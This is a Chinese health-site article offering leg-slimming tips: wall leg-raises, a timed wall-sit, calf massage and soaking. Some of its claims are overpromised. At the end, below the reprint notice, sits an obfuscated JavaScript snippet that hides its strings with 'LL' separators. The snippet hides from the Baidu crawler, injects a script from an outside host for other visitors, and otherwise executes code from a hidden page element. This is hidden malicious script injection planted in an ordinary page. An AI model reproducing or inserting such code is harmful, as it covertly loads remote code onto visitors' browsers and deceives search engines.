当前位置:首页 > 健康 > 运动健身 > 正文

有效瘦腿法都有什么呢?

2017-04-15 10:11:12  来源:360常识网   热度:
导语:大长腿不仅是男人魅力的特征,也是女人性感的部位,如果女人的腿过于粗是一件比较尴尬是事情,它会让爱美的女孩们没有勇气穿短裙,短裤,很

大长腿不仅是男人魅力的特征,也是女人性感的部位,如果女人的腿过于粗是一件比较尴尬是事情,它会让爱美的女孩们没有勇气穿短裙,短裤,很多女孩减肥是通过节食来减肥,这样的方法不但没有效果,而且还还会饿坏自己的胃,下面小编教您健康减肥。

一.在每晚睡觉前,将腿靠在墙壁30分钟,与身体成90度角,长期下来,保证您拥有一双美美的腿喔!

二.这是唱双簧的先生们所常出现的样子,坐在椅子上,突然椅子被拿走,还保持原来姿势,请想起这种一不小心的话还是保持那样的姿势,

双脚交叉的情景。

这是要利用到腰、背肌及大腿前侧的力量,让大腿紧绷,因无法在空中做,所以要靠着墙静止。在这里可体会到身体的体重。

顺序

疲倦的话也不要让腰下垂,要忍耐。

1.靠在柱子上或墙壁上,从脚跟到大腿的长度,离开壁面站着(约40公分左右)。

2.身体不可离开壁面,慢慢的把背和腰往下蹲。

3.当大腿和地板平行时停止,膝盖成直角的话,就停止下来忍住。

次数

最少数一、二、三、四,差不多数到五十左右,最多到一百为止。

重点

疲倦的话腰会慢慢的下垂,注意要静止下来是相当重要的。

从背部到后脑勺要贴紧为要领

其它效果

这是小腿、膝盖变细的耐力战。

三.小腿粗与遗传没有直接关系,想要瘦小腿,可以每天早晚按摩五分钟以上(记得要从下向上推),另外还可以踮脚尖、在小腿绑上沙包上

下摆动、多游泳、多走路,都能达到瘦小腿的目的.

四.血液循环差小腿粗

十个女孩,九个说自己小腿胖,其实小腿可算是身体中最不容易减的部位之一,因为小腿是全身体重的重要支撑,所以必须有一定“分量”。同时,许多OL运动少,站得多或坐得太多,令脚部血液和淋巴腺系统活动减慢,新陈代谢不佳,容易造成小腿浮肿或脂肪过多。

其实想瘦小腿,先要检查自己小腿的肌肉是松弛还是绷紧。若是肌肉绷紧的话,要瘦就会比较困难。平时在洗澡的时候可以把洗澡的浴盐放浴缸中,泡小腿20分钟左右,这样肌肉会变的松弛。洗完后拍打腿部会有效果的。

转载申明:360常识网,欢迎分享,转载请注明出处!

if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}